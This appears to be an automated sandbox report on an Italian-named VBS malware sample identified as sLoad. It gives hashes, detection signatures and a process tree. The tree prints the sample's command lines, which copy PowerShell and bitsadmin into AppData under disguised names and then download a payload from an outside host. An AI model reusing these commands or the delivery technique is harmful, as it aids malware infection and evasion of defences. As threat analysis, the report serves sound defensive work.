Analysis

  • max time kernel
    132s
  • max time network
    139s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    14-09-2020 12:13

General

  • Target

    Allegato_doc_04198100168.vbs

  • Size

    4KB

  • MD5

    f13bf18a35cf7439790d91456f60f10b

  • SHA1

    b8a280fb97a3aa64edbefda20d0463fcc2715d88

  • SHA256

    f6cb2ffe73e87a5d0053ca599d203d3dbc187d65b434d4c7c649c51ba2689505

  • SHA512

    365fb9e10566b33814b8eece5a09df71f3e406547284ae31500fc3715420595d30b7226fb596c2c5dd66a5c65d12d35f36ab28a9bdcc8e29a6f5246de533981b

Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_doc_04198100168.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1316
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\zmvSS.exe
      2⤵
        PID:1508
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\bitsadmin.exe C:\Users\Admin\AppData\Roaming\mvSS.exe
        2⤵
          PID:1800
        • C:\Users\Admin\AppData\Roaming\mvSS.exe
          "C:\Users\Admin\AppData\Roaming\mvSS.exe" /transfer CZZkYL /download https://sapphireloading.com/sal/04198100168/blank.gif C:\Users\Admin\AppData\Roaming\blank.gif
          2⤵
          • Executes dropped EXE
          PID:1832

      Network

      MITRE ATT&CK Matrix

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Roaming\mvSS.exe
      • C:\Users\Admin\AppData\Roaming\mvSS.exe
      • memory/1508-0-0x0000000000000000-mapping.dmp
      • memory/1800-1-0x0000000000000000-mapping.dmp
      • memory/1832-3-0x0000000000000000-mapping.dmp